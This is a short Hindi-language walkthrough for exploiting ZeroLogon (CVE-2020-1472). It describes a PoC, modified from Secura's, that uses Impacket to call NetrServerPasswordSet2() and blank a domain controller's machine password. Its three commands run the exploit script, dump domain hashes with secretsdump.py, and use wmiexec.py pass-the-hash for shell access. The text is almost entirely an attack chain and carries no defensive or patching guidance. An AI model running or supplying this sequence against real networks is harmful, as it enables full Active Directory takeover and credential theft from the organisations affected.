ZeroLogon - शोषण और उदाहरण

परीक्षण PoC को Secura से संशोधित किया गया, CVE-2020-1472, मशीन के पासवर्ड को शून्य करने के लिए। मशीन पर पासवर्ड बदलने के लिए Microsoft के NetrServerPasswordSet2() फ़ंक्शन का उपयोग किया जाता है। यह शोषण Impacket के nrpc.py मॉड्यूल का लाभ उठाता है NetrServerPasswordSet2() को कॉल करने के लिए।

शोषण चलाएँ

./zerologon_NULLPASS.py <dc-name> <dc-ip>

हैश डंप करें

secretsdump.py -no-pass <dc-name>\$@<dc-ip>

शैल एक्सेस के लिए पास-द-हैश

wmiexec.py -hashes <LM:NT> <username>@<ip>